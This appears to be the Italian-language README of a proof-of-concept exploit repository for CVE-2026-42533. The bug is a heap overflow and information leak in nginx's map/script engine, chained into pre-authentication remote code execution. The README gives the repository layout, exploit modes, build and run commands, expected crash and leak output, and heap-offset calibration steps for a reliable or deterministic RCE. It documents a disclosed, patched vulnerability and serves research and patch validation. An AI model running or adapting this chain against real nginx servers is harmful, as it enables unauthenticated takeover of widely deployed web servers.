
CVE-2026-42533: overflow dell'heap pre-autenticazione e fuga di informazioni in nginx causati dalla sovrascrittura delle catture PCRE nel motore map/script, concatenati per ottenere RCE.
Overflow del buffer heap e perdita di informazioni dall'heap pre-autenticazione in nginx, causati dalla mancata salvataggio/ripristino dello stato delle catture PCRE tra le due passate del motore degli script. Una variabile map basata su regex valutata tra due riferimenti di cattura sovrascrive r->captures, quindi la passata LEN e la passata VALUE non concordano sulla dimensione di una cattura. Il buffer viene dimensionato per una cattura e riempito con un'altra. Una sovrascrittura più grande produce un overflow dell'heap con contenuto e lunghezza controllati dall'attaccante. Una sovrascrittura più piccola produce un buffer sovradimensionato la cui coda non inizializzata viene restituita al client, divulgando puntatori libc e dell'heap.
Le due primitive si concatenano in un'esecuzione remota di codice pre-autenticazione affidabile. La perdita di informazioni aggira ASLR in una singola GET, quindi l'overflow non richiede ASLR disabilitato.
Analisi tecnica: https://cyberstan.co.uk/nginx-rce/ Avviso di sicurezza: F5 K000162097 Segnalatore: Stan Shaw (cyberstan)
nginx 0.9.6 fino a 1.30.3 (stable) e 1.31.2 (mainline), raggiungibile da quando la direttiva map ha ottenuto il supporto regex nel 2011. Sia i moduli http che stream. Circa 50 direttive in 13 punti di chiamata, più un secondo percorso tramite catture nominate (r->variables[]). Corretto in 1.30.4 e 1.31.3.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
Esegui ogni comando qui sotto dalla radice del repository, così che exploits/, configs/ e l'albero di build ../nginx-1.30.1 vengano risolti.
exploits/poc.py è l'exploit principale (cattura numerata, sink proxy_method). Le sue modalità:
| Modalità | Scopo |
|---|---|
poc.py --crash | Scatena l'overflow dell'heap; su una build ASan stampa la dimensione della scrittura e lo stack in ngx_http_script_copy_capture_code. |
poc.py --leak | Perdita di informazioni: estrae i puntatori libc e dell'heap dal corpo della risposta sovradimensionato. |
poc.py --rce | RCE pre-autenticazione completa. Singolo colpo generale (configs/nginx_poc.conf), ~66% a tentativo, ripeti in caso di errore. |
poc.py --rce-det | RCE pre-autenticazione completa, deterministica contro il configs/nginx_det.conf controllato. |
Script autonomi che coprono il resto della superficie del bug:
| Script | Scopo |
|---|---|
exploits/leak_multi.py | Perdita di informazioni tramite altri due valutatori (return, set), ogni puntatore libc+heap confermato contro /proc/<pid>/maps. Configurazione standard. |
exploits/test_all_sites.py | Validator AddressSanitizer che innesca tutti i 13 punti di chiamata dell'overflow (http + stream). |
exploits/named_capture_poc.py | La variante a cattura nominata (?P<name>...) tramite r->variables[] / copy_var_code, una seconda causa principale. |
Le configurazioni si trovano in configs/: nginx_poc.conf (crash/leak/rce), nginx_det.conf (rce-det). La documentazione completa è docs/EXPLOITATION.md.
Linux, gcc, python3 e il sorgente di nginx 1.30.1. Sviluppato e testato su Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, ASLR completo.
Due build. Una build pulita per la perdita di informazioni e la RCE, così il residuo dell'heap è reale. Una build AddressSanitizer per il crash e i validator dei punti di chiamata, così l'overflow viene segnalato con dimensione di scrittura e stack esatti.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py comunica con un nginx in esecuzione su 127.0.0.1:8950. Avvialo in un terminale con configs/nginx_poc.conf, poi esegui la modalità che vuoi in un altro. Gli altri tre script avviano e arrestano un proprio nginx, quindi hanno bisogno solo di NGINX_BIN.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
Atteso: un heap-buffer-overflow, WRITE of size 200 in ngx_http_script_copy_capture_code a ngx_http_script.c:1404, chiamato da ngx_http_complex_value in ngx_http_proxy_create_request.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
Atteso: un corpo di 8161 byte con 2 byte scritti e il resto residuo dell'heap. Un puntatore libc all'offset 0x08 e un puntatore dell'heap a 0x10.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
Atteso: una perdita di informazioni, circa 40 connessioni di spray, un trigger di overflow, poi /tmp/PWNED contenente l'output di id. È un singolo colpo e va a segno circa due volte su tre sulla build di sviluppo; in caso di errore il worker crasha e lo riesegui. Vedi la sezione "Reliability" di docs/EXPLOITATION.md.
Con una configurazione controllata lo stesso bug diventa un singolo colpo deterministico. Recupera la base assoluta dell'heap dalla perdita di informazioni in una riga (heap_base = (leaked_ptr & ~0xfff) - 0x22000), colloca una singola cleanup di pool contraffatta in una connessione trattenuta a un indirizzo noto e punta la cleanup del pool vittima su di essa invece che sul corpo trigger transitorio, che nginx libera prima del teardown.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf è una configurazione da laboratorio (worker singolo, buffer fissi) il cui layout dell'heap è riproducibile, ed è ciò che rende validi gli offset in poc.py (PL_OFF, HEAP_PAGE_OFF). PL_OFF è l'offset dalla base dell'heap in cui atterra il corpo della cleanup POST /b/ trattenuta; dipende dalla sequenza esatta delle allocazioni, quindi varia tra build, versioni di glibc e configurazioni. Se --rce-det riporta Recalibrate, leggi i valori corretti da un worker attivo con calibrate.py:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py
L'unico altro esito non vincente è un'estrazione ASLR che inserisce un 0x0a nell'indirizzo della cleanup o nel corpo dell'overflow, un byte che la regex della direttiva map non può trasportare; lo strumento lo segnala e si riesegue. Una distribuzione standard non è altrettanto prevedibile, quindi lì usa --rce. Vedi "A deterministic build" in docs/EXPLOITATION.md.